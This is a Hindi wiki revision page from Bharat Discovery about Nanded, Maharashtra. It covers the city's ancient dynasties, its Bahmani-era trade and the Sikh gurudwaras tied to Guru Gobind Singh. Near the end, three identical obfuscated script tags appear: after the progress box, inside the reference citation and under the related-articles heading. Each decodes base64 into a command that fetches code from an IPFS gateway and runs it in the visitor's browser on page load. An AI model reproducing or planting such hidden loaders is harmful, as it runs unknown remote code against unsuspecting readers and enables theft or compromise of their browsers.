"नंदेड़" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
(नांदेड को अनुप्रेषित)
 
 
(3 सदस्यों द्वारा किये गये बीच के 5 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
#REDIRECT[[नांदेड]]
+
[[चित्र:Hazur-Sahib-Nanded.jpg|thumb|250px|हज़ुर साहिब, नंदेड़]]
 +
'''नंदेड़''' अथवा 'नंदगिरि' अथवा 'नंदीतट' [[महाराष्ट्र]] में [[गोदावरी नदी]] के तट पर स्थित प्राचीन नगर है। [[पुराण|पुराणों]] के अनुसार नंदेड़ को प्रमुख [[तीर्थ स्थान|तीर्थ]] स्थानों में माना गया है। प्राचीन काल में इस नगर का सम्बन्ध [[चालुक्य वंश|चालुक्य]] और [[काकतीय वंश|काकतीय]] राजवंशों से रहा था। [[बहमनी वंश|बहमनी]] सुल्तानों के शासन काल में नंदेड़ एक प्रमुख व्यापारिक केन्द्र बन चुका था, क्योंकि यह [[उत्तरी भारत|उत्तरी]] और [[दक्षिणी भारत]] के बीच नदियों द्वारा होने वाले व्यापार के मार्ग पर स्थित था। नंदेड़ की सर्वाधिक प्रसिद्धि इस कारण है कि यहाँ [[सिक्ख|सिक्खों]] के दसवें गुरु [[गुरु गोविन्द सिंह]] की समाधि है।
 +
==इतिहास==
 +
{{tocright}}
 +
पुराणों में वर्णित नंदीतट या नंदेड़ की गणना [[भारत]] के पवित्र धार्मिक स्थानों में की जाती है। मेकएलिफ़ की 'सिक्ख रिलीजन' के अनुसार इस स्थान का प्राचीन नाम 'नवनंद' था, क्योंकि इस स्थान पर नौ ऋषियों ने तप किया था। इस नाम का संबंध [[मगध]] के नवनंदों से भी बताया जाता है। कुछ विद्वानों का मत है कि 'पेरिप्लस ऑफ़ दि एराईथ्रियन सी' नामक [[ग्रंथ]] के लेखक ने [[दक्षिण भारत]] के जिस व्यापारिक नगर '[[तगारा]]' का वर्णन किया है, वह नंदेड़ के निकट ही स्थित होगा। चौथी शती ई. में नंदेड़ नगर काफ़ी महत्त्वपूर्ण था और यहाँ एक छोटे से राज्य की राजधानी भी थी, किन्तु अब यहाँ अति प्राचीन भवनों आदि के [[अवशेष]] नहीं मिलते।
 +
====कथा====
 +
एक ऐतिहासिक कथा के अनुसार चालुक्य वंश के राजा आनंद ने अपनी राजधानी [[कल्याणी कर्नाटक|कल्याणी]] से नंदेड़ ले आने का विचार किया था और नंदेड़ में पत्थर के बांध बनवाकर एक तड़ाग का निर्माण भी करवाया था। उसी ने रत्नागिरि पहाड़ी पर नंदगिरि या नंदेड़ नगरी को बसाया था। चौथी शती ई. में [[वारंगल]] के चालुक्य नरेशों की एक शाखा नंदेड़ में राज्य करती थी। वारंगल के ककातीय राजवंश के [[इतिहास]] 'प्रताप रुद्रभुषण' में वर्णन है कि ककातीय नरेंश नंद का नंदेड़ पर राज्य था। नंददेव के पौत्र माधववर्मन के शासन काल में [[शिव]] तथा [[नंदी]] की [[पूजा]] को बहुत प्रोत्साहन मिला और इस समय के अनेक मंदिर नंदेड़ की प्राचीन [[कला]] और [[संस्कृति]] के उत्कृष्ट उदाहरण हैं।
 +
==मुस्लिमों का अधिकार==
 +
'नरसिंह का मंदिर' तथा [[बौद्ध]] और [[जैन]] मंदिर [[हिन्दू]] काल के सुंदर संस्मारक हैं। [[मुस्लिम|मुस्लिमों]] के [[दक्षिण भारत]] पर आक्रमण के पश्चात् नंदेड़ [[अलाउद्दीन ख़िलजी]] तथा [[मुहम्मद तुग़लक़]] के अधिकार में रहा। बहमनी काल में नंदेड़ एक बड़ा व्यापारिक स्थान बन गया था, क्योंकि [[गोदावरी नदी]] के तट पर स्थित होने के कारण यह उत्तरी और दक्षिणी भारत के बीच नदियों के द्वारा होने वाले व्यापार के मार्ग पर पड़ता था। [[महमूद गवाँ]] ने जो बहमनी राज्य का मंत्री थी, नंदेड़ को महोर के सूबे के अंतर्गत शामिल कर लिया। बहमनी काल में नंदेड़ में कई मुस्लिम संतों ने अपना आवास बनाया था।
 +
==सिक्ख पर्यटन स्थल==
 +
[[चित्र:Kaleshwar-Lake-Nanded.jpg|thumb|250px|कालेश्वर झील, नंदेड़]]
 +
[[मलिक अम्बर]] और [[कुतुबशाही वंश|कुतुबशाही]] सुल्तानों की बनवाई हुई दो मस्जिदें भी यहाँ पर स्थित हैं। किन्तु नंदेड़ की प्रसिद्धि का विशेष कारण [[सिक्ख|सिक्खों]] के दसवें गुरु [[गुरु गोविंद सिंह|गोविंद सिंह]] की समाधि है। [[औरंगज़ेब]] की मृत्यु के पश्चात् गोविंद सिंह [[बहादुरशाह प्रथम]] के साथ दक्षिण भारत आए थे। यहाँ पर उन्होंने नंदेड़ के निवासी 'माधोदास बैरागी' ([[बन्दा बहादुर|बंदा बैरागी]]) की वीरता से संबंधित यशोगान सुने और उससे मिलने वे नंदेड़ आए। यहीं पर उन्होंने अपना अस्थायी निवास बनाया था। उनके डेरे का स्थान आज भी 'संगत साहब गुरुद्वारा' कहलाता है। गोदावरी के तट पर वह स्थान, जहाँ गुरु की बंदा से भेंट हुई थी, 'बंदाघाट' नाम से प्रसिद्ध है। एक शिष्य ने गुरु को एक अमूल्य [[हीरा]] भेंट किया था, जो उन्होंने गोदावरी के [[जल]] में फेंक दिया था। यह स्थान 'नगीना घाट' कहलाता है।
 +
==धार्मिक स्थान==
 +
1708 ई. में नंदेड़ में ही गुरु गोविंद सिंह एक क्रूर [[पठान]] के हाथों घायल होकर कुछ समय पश्चात् स्वर्गगामी हुए। उनकी चिता की भस्म पर एक समाधि बनवाई गई थी, जो अब 'हज़ुर साहिब का गुरुद्वारा' नाम से सिक्खों का महत्त्वपूर्ण तीर्थ है। इस गुरुद्वारे का महाराणा [[रणजीत सिंह]] ने 1831 ई. में निर्माण करवाया था। इसके फर्श और स्तंभों पर संगमरमर का सुंदर काम है। गुरुद्वारे के गुंबद, छत और बीच के बरामदे पर [[सोना|सोने]] के भारी पत्थर लगे हैं। मुख्य गुरुद्वारे के अतिरिक्त नंदेड़ में सात अन्य गुरुद्वारे भी हैं-
 +
#हीराघाट
 +
#शिखरघाट
 +
#माता साहिबा
 +
#संगत साहब
 +
#मालटेकरी
 +
#बंदाघाट
 +
#नगीना घाट
 +
 
 +
इन सबसे गोविंद सिंह के जीवन की अनमोल कथाएं संबंधित हैं। [[वासिम]] से प्राप्त एक ताम्र पट्टलेख में नंदेड़ का प्राचीन नाम 'नंदीकल' दिया हुआ है।
 +
 
 +
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 +
==टीका टिप्पणी और संदर्भ==
 +
{{पुस्तक संदर्भ |पुस्तक का नाम=ऐतिहासिक स्थानावली|लेखक=विजयेन्द्र कुमार माथुर|अनुवादक= |आलोचक= |प्रकाशक=राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर|संकलन= |संपादन= |पृष्ठ संख्या=473|url=}}
 +
<references/>
 +
==संबंधित लेख==
 +
{{महाराष्ट्र के पर्यटन स्थल}}
 +
{{महाराष्ट्र के नगर}}
 +
[[Category:महाराष्ट्र]][[Category:महाराष्ट्र के पर्यटन स्थल]][[Category:पर्यटन कोश]][[Category:महाराष्ट्र के नगर]][[Category:भारत के नगर]][[Category:इतिहास कोश]]
 +
__INDEX__

11:19, 30 अक्टूबर 2014 के समय का अवतरण

हज़ुर साहिब, नंदेड़

नंदेड़ अथवा 'नंदगिरि' अथवा 'नंदीतट' महाराष्ट्र में गोदावरी नदी के तट पर स्थित प्राचीन नगर है। पुराणों के अनुसार नंदेड़ को प्रमुख तीर्थ स्थानों में माना गया है। प्राचीन काल में इस नगर का सम्बन्ध चालुक्य और काकतीय राजवंशों से रहा था। बहमनी सुल्तानों के शासन काल में नंदेड़ एक प्रमुख व्यापारिक केन्द्र बन चुका था, क्योंकि यह उत्तरी और दक्षिणी भारत के बीच नदियों द्वारा होने वाले व्यापार के मार्ग पर स्थित था। नंदेड़ की सर्वाधिक प्रसिद्धि इस कारण है कि यहाँ सिक्खों के दसवें गुरु गुरु गोविन्द सिंह की समाधि है।

इतिहास

पुराणों में वर्णित नंदीतट या नंदेड़ की गणना भारत के पवित्र धार्मिक स्थानों में की जाती है। मेकएलिफ़ की 'सिक्ख रिलीजन' के अनुसार इस स्थान का प्राचीन नाम 'नवनंद' था, क्योंकि इस स्थान पर नौ ऋषियों ने तप किया था। इस नाम का संबंध मगध के नवनंदों से भी बताया जाता है। कुछ विद्वानों का मत है कि 'पेरिप्लस ऑफ़ दि एराईथ्रियन सी' नामक ग्रंथ के लेखक ने दक्षिण भारत के जिस व्यापारिक नगर 'तगारा' का वर्णन किया है, वह नंदेड़ के निकट ही स्थित होगा। चौथी शती ई. में नंदेड़ नगर काफ़ी महत्त्वपूर्ण था और यहाँ एक छोटे से राज्य की राजधानी भी थी, किन्तु अब यहाँ अति प्राचीन भवनों आदि के अवशेष नहीं मिलते।

कथा

एक ऐतिहासिक कथा के अनुसार चालुक्य वंश के राजा आनंद ने अपनी राजधानी कल्याणी से नंदेड़ ले आने का विचार किया था और नंदेड़ में पत्थर के बांध बनवाकर एक तड़ाग का निर्माण भी करवाया था। उसी ने रत्नागिरि पहाड़ी पर नंदगिरि या नंदेड़ नगरी को बसाया था। चौथी शती ई. में वारंगल के चालुक्य नरेशों की एक शाखा नंदेड़ में राज्य करती थी। वारंगल के ककातीय राजवंश के इतिहास 'प्रताप रुद्रभुषण' में वर्णन है कि ककातीय नरेंश नंद का नंदेड़ पर राज्य था। नंददेव के पौत्र माधववर्मन के शासन काल में शिव तथा नंदी की पूजा को बहुत प्रोत्साहन मिला और इस समय के अनेक मंदिर नंदेड़ की प्राचीन कला और संस्कृति के उत्कृष्ट उदाहरण हैं।

मुस्लिमों का अधिकार

'नरसिंह का मंदिर' तथा बौद्ध और जैन मंदिर हिन्दू काल के सुंदर संस्मारक हैं। मुस्लिमों के दक्षिण भारत पर आक्रमण के पश्चात् नंदेड़ अलाउद्दीन ख़िलजी तथा मुहम्मद तुग़लक़ के अधिकार में रहा। बहमनी काल में नंदेड़ एक बड़ा व्यापारिक स्थान बन गया था, क्योंकि गोदावरी नदी के तट पर स्थित होने के कारण यह उत्तरी और दक्षिणी भारत के बीच नदियों के द्वारा होने वाले व्यापार के मार्ग पर पड़ता था। महमूद गवाँ ने जो बहमनी राज्य का मंत्री थी, नंदेड़ को महोर के सूबे के अंतर्गत शामिल कर लिया। बहमनी काल में नंदेड़ में कई मुस्लिम संतों ने अपना आवास बनाया था।

सिक्ख पर्यटन स्थल

कालेश्वर झील, नंदेड़

मलिक अम्बर और कुतुबशाही सुल्तानों की बनवाई हुई दो मस्जिदें भी यहाँ पर स्थित हैं। किन्तु नंदेड़ की प्रसिद्धि का विशेष कारण सिक्खों के दसवें गुरु गोविंद सिंह की समाधि है। औरंगज़ेब की मृत्यु के पश्चात् गोविंद सिंह बहादुरशाह प्रथम के साथ दक्षिण भारत आए थे। यहाँ पर उन्होंने नंदेड़ के निवासी 'माधोदास बैरागी' (बंदा बैरागी) की वीरता से संबंधित यशोगान सुने और उससे मिलने वे नंदेड़ आए। यहीं पर उन्होंने अपना अस्थायी निवास बनाया था। उनके डेरे का स्थान आज भी 'संगत साहब गुरुद्वारा' कहलाता है। गोदावरी के तट पर वह स्थान, जहाँ गुरु की बंदा से भेंट हुई थी, 'बंदाघाट' नाम से प्रसिद्ध है। एक शिष्य ने गुरु को एक अमूल्य हीरा भेंट किया था, जो उन्होंने गोदावरी के जल में फेंक दिया था। यह स्थान 'नगीना घाट' कहलाता है।

धार्मिक स्थान

1708 ई. में नंदेड़ में ही गुरु गोविंद सिंह एक क्रूर पठान के हाथों घायल होकर कुछ समय पश्चात् स्वर्गगामी हुए। उनकी चिता की भस्म पर एक समाधि बनवाई गई थी, जो अब 'हज़ुर साहिब का गुरुद्वारा' नाम से सिक्खों का महत्त्वपूर्ण तीर्थ है। इस गुरुद्वारे का महाराणा रणजीत सिंह ने 1831 ई. में निर्माण करवाया था। इसके फर्श और स्तंभों पर संगमरमर का सुंदर काम है। गुरुद्वारे के गुंबद, छत और बीच के बरामदे पर सोने के भारी पत्थर लगे हैं। मुख्य गुरुद्वारे के अतिरिक्त नंदेड़ में सात अन्य गुरुद्वारे भी हैं-

  1. हीराघाट
  2. शिखरघाट
  3. माता साहिबा
  4. संगत साहब
  5. मालटेकरी
  6. बंदाघाट
  7. नगीना घाट

इन सबसे गोविंद सिंह के जीवन की अनमोल कथाएं संबंधित हैं। वासिम से प्राप्त एक ताम्र पट्टलेख में नंदेड़ का प्राचीन नाम 'नंदीकल' दिया हुआ है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 473 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>